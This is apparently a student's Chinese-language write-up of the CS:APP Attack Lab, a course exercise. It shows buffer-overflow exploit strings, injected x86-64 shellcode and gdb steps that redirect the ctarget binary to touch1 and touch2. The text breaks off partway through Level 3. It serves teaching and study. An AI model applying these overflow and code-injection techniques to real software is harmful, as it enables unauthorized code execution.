CSAPP Lab3: The Attack Lab
tags: CSAPP
https://www.zybuluo.com/SovietPower/note/1801471
参考:
https://blog.csdn.net/AI_lalaland/article/details/105153847
https://blog.csdn.net/weixin_44520881/article/details/109274669
实验介绍
具体看writeup.pdf
。
攻击目标代码ctarget和rtarget都使用如下函数从标准输入中读取字符串:
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
BUFFER_SIZE
为编译时就已确定的常数。Gets
和gets
一样读入整行字符串到buf
中,且不考虑是否可能越界。
测试:
测试可以先在1.txt
中输入想要的16进制字符串,用hex2raw
转为输入字符串,然后用ctarget/rtarget
的-i
参数文件输入:
$ ./hex2raw < 1.txt > 1.in
$ ./ctarget -qi 1.in
或
$ ./hex2raw < 1.in | ./ctarget -q
需要加参数-q
,不上传得分到cmu的服务器(否则不能运行)。
用于hex2raw
而输入的16进制串需每两位一空格,如想要字符串(01234),则应输入(30 31 32 33 00)((0x30,0x31,...,0x0)),可加注释/* */
,但/*
后和*/
前一定要有空格。
攻击方式:
Code Injection
前三个Phase。
通过使缓冲区溢出,让输入覆盖返回地址,使PC在retq
时返回到某个指定的位置,并执行注入的代码。
Return-Oriented Programming
后两个Phase。
栈随机化(不能确定插入代码位置)、将栈内存段设为不可执行(不能执行插入代码),可以使常规破坏方法难以实现。
ROP用于处理这两种情况。
Part I: Code Injection
程序CTARGET调用如下函数test
,输入一个字符串,通过缓冲区溢出使得程序不从test
返回,而是调用touchx
函数。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x
", val);
}
Level 1
void touch1()
{
vlevel = 1; / * Part of validation protocol * /
printf("Touch1!: You called touch1()
");
validate(1);
exit(0);
}
因为getbuf
中return
返回的是调用getbuf
前栈指针(\%rsp)指向的地址,所以将那个位置的值改为touch1
的地址即可。
objdump -d ctarget > ctarget.txt
得到汇编代码:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
可知BUFFER_SIZE
即buf
的大小为(0x28=40),位置在(\%rsp)。
所以(40)字符后写入的内容会写到(\%rsp+0x28)处,即调用getbuf
(callq
)时的栈顶,即返回地址。所以将touch1
(00000000004017c0 <touch1>
)的地址放在(40)个字符后即可。
所以想要的字符串内容为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
用给的hex2raw
转为相应的可输入串输入即可:./hex2raw < 1.in | ./ctarget -q
。
注意地址用小端法表示(注意区分指令与地址)。
Level 2
复习一下几个点:
调用retq
时,PC指向当前%rsp
指向的位置,并popq
。
程序只是单纯执行PC指向位置的16进制指令序列(机器代码.o
,编译器编译后产生的二进制文件,汇编代码.s
的机器代码表示),并将PC+1。此外只会因callq,retq
等命令改变PC。
gcc -Og -S name.c
产生汇编文件name.s
;
gcc -Og -c name.c
或gcc -Og -c name.s
产生目标代码文件name.o
(机器代码);
objdump -d name.o
将机器代码对应的汇编代码逐行表示出来。
void touch2(unsigned val)
{
vlevel = 2; / * Part of validation protocol * /
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)
", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)
", val);
fail(2);
}
exit(0);
}
Level2要求跳转时带一个参数,即跳转前(\%rdi)的值需为给定的(cookie=0x59b997fa),也就是先实现mov $0x59b997fa,%rdi
。
输入串(s)存在(\%rsp)处。如果将getbuf
返回地址(\%rsp+40)的值设为(\%rsp),PC在retq
时就会跳转到(\%rsp)处并执行(s)串内容所表示的机器代码。
所以就可令(s)的内容为:
mov $0x59b997fa,%rdi
retq
这时的retq
需返回touch2
。注意从getbuf
执行到这里retq
了两次,此时retq
的返回目标即(\%rsp+40+8)处存的地址。
所以找到touch2
的地址00000000004017ec
,通过溢出将其放在(\%rsp+48)处即可。
将movq $0x59b997fa, %rdi
ret
写入2.s
,gcc -c 2.s
得到2.o
,再将2.o
反汇编即可得到两条指令的机器代码:
$ gcc -c 2.s
$ objdump -d 2.o
2.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: c3 retq
此外需要知道buf
的存储位置,即调用getbuf
后(\%rsp)的值,为(0x5561dc78):
(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) r -q
Starting program: ./ctarget -q
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: 没有那个文件或目录.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
(gdb) i r $rsp
rsp 0x5561dca0 0x5561dca0
(gdb) stepi
14 in buf.c
(gdb) i r $rsp
rsp 0x5561dc78 0x5561dc78
所以输入串为:
48 c7 c7 fa 97 b9 59 c3 //通过串注入的命令
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //返回到注入命令(串位置)
ec 17 40 00 00 00 00 00 //再次返回到touch2
主要问题在于如何二次返回到touch2
。
因为retq
返回的是(\%rsp)所指位置,所以在retq
前pushq
touch2
的地址,也可以实现ret
到touch2
。这种方法可能更简单。
即:
mov $0x59b997fa,%rdi
pushq $0x4017ec
retq
反汇编得到机器代码:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
所以输入串:
48 c7 c7 fa 97 b9 59 68 //通过串注入的命令
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 //返回到注入命令(串位置)
注意不能直接修改栈指针(如movq $0x4017ec,%rsp
),只能用push/pop,call/ret
修改指针。可能是最后validate
判断了栈指针是否被不合理修改,或者这么改不好。
Level 3
/ * Compare string to hex represention of unsigned value * /
int hexmatch(unsigned val, char* sval)
{
char cbuf[110]; / * Make position of check string unpredictable * /
char* s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char* sval)
{
vlevel = 3; / * Part of validation protocol * /
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3("%s")
", sval);
validate(3);
} else {
printf("Misfire: You called touch3("%s")
", sval);
fail(3);
}
exit(0);
}
Level3要求跳转时带有参数sval
,且字符串的数值为cookie=0x59b997fa
。
可知字符串内容为35 39 62 39 39 37 66 61 00
(注意字符串没有0x
,最后有一个